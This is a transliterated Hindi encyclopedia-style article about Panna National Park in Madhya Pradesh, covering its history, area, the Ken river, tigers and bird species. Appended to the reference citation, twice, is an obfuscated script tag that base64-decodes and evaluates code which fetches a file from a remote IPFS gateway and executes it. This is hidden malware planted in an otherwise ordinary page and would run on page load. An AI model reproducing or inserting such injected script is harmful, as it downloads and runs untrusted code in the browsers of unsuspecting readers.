पन्ना राष्ट्रीय उद्यान

	panna rashtriy udyan
	panna rashtrie udyan ka pravesh dvar\|200px\|center
vivaran	'panna rashtrie udyan' madhy pradesh ka prasiddh paryatan sthal hai. yahaan bharat ki kuchh sarvottam vanh‍y jivan prajatiyaan paee jati haian.
rajy	madhy pradesh
sthapana	1981
kshetraphal	542.67 varg kilomitar
najadiki shahar	panna, khajuraho
sanbandhit lekh	madhy pradesh, madhy pradesh paryatan
any janakari	samriddh jaiv vividhata is udyan mean dekhi ja sakati hai. ken nadi yahaan udyan ke uttar disha mean bahati hai. is nadi mean magaramachchh aur gh diyal bhi paye jate haian. is rashtriy udyan mean raiptail park bhi vikasit kiya ja raha hai.

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panna rashtriy udyan madhy pradesh ke lagabhag madhh‍y mean khajuraho se 57 kilomitar ki doori par panna zile mean sthit hai. yah kshetr hiroan ke lie vikhh‍yat hai. yahaan bharat ki kuchh sarvottam vanh‍y jivan prajatiyaan paee jati haian aur yah desh ka ek behatarin taigar rijarv hai. is udyan mean jangali billiyoan ke alava bagh aur hiran tatha eantil aaup bhi pae jate haian. bharat ke ek jane-mane paryatan akarshan kenh‍dr, khajuraho ke samip hone ke karan is udyan mean ek b da paryatan akarshan banane ki sanbhavh‍yata nihit hai. ise bharat ka doosara 'sariska rashtriy udyan' mana jata hai. panna rashtriy udyan ko 'vishv vanyajiv kosh' se bhi sahayata prapt ho rahi hai.

itihas

panna zile ka sanrakshit van aur chhatarapur zile ke kuchh sanrakshit van pahale panna, chhatarapur aur bijavar riyasatoan ke shasakoan ke shikaragah the. 1975 mean maujooda uttar aur dakshin panna van vibhag ke kshetriy vanoan se 'gangoo van jiv abhyarany' ka nirman kiya gaya. bad mean sath ju de 'chhatarapur van sambhag' ke kuchh hissoan ko is abhyarany mean shamil kiya gaya. 1981 mean isi 'gangoo vany jiv abhyarany' ke sthan par 'panna rashtriy udyan' astitv mean aya.^[1]

vistar tatha kshetraphal

uttari vindhy paha diyoan mean sthit panna abhyarany ka vistar bharat ke madhy pradesh rajy ke uttari kshetr mean panna aur chhatarapur ziloan mean phaila hua hai. isaka kshetraphal 542.67 varg kilomitar hai. samudr tal se isaki ooanchaee 212 mitar se 338 mitar tak hai.

bhaugolik dashaean

bhaugolik roop se panna zile ke tahat abhyarany ke mote taur par tin vishisht hisse haian-

oopari talagaanv pathar
madhy hinauta pathar
ken nadi ki ghati

mausam

jabaki chhatarapur zile mean abhyarany ke hisse mean akarshak paha doan ki shrriankhalaean haian. yahaan garmi march se joon ke madhy tak, varsha madhy joon se madhy sitambar tak aur sardi madhy navambar se faravari tak p dati hai.

nadi ghati

[[chitr:Panna-Tiger-Reserve.jpg|thumb|300px|udyan mean vicharan karate chiankara]] panna abhyarany ke bich karib 55 kilomitar tak tedhe-medhe rastoan se hokar ken nadi bahati hai. isaka bahav dakshin se uttar ki or hai. ken nadi ki vajah se 'panna bagh rijarv' ki sundar chhata ka varnan kuchhek abhyaranyoan mean kiya jata hai. isaki kandarayean aur jharane adbhut prakritik sauandary ka ehasas karate haian. ken vastav mean 'panna bagh rijarv' ki jivan rekha hai. yahaan ghatiyaan, giri, kandara aur gufaean bhi haian.^[1]

jaiv vividhata

samriddh jaiv vividhata yahaan dekhi ja sakati hai. ken nadi yahaan panna rashtriy udyan ke uttar disha mean bahati hai. is nadi mean magaramachchh aur gh diyal bhi paye jate haian. is rashtriy udyan mean raiptail park bhi vikasit kiya ja raha hai.

taigar (peanthera taigris)

taigar (peanthera taigris) jo jangal ka raja mana jata hai, yahaan is surakshit van mean mukh‍t bhav se ghoomata hai, jabaki isake sath hi ye bhi yahaan pae jate haian - chita (peanthera paradas), jangali kutte (kh‍yooaaun elh‍pinas), bhoora bhediya (kenis lh‍yoopas), haina (phelas kera kel) aur chhoti billiyaan. yahaan ap b di asani se nil gay aur chiankara ko ghas ke khule maidanoan mean ghoomate hue dekh sakate haian, vishesh roop se kinare ki or. yahaan kee prakar ke saanpoan ke sath ajagar aur anh‍y sarisrip jantu pae jate haian.

pakshiyoan ki prajatiyaan

yahaan 200 se adhik pakshiyoan ki prajatiyaan paee jati hai jisamean anek pravasi pakshi shamil hai. yahaan saphed gardan vale sh‍t aaurk, bar hedid boz, hani bajard, giddh, bh‍lash‍m hedid parakit, pairadaiz phlaikechar, sh‍neti hedid simitar baibalar adi kuchh nam haian, jo yahaan pae jate hai.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 panh‍na rashtriy udyan (hindi) indiya vatar portal. abhigaman tithi: 24 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari kadiyaan

adhikarik vebasait

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[aa-1] 1.0 ^1.1 panh‍na rashtriy udyan (hindi) indiya vatar portal. abhigaman tithi: 24 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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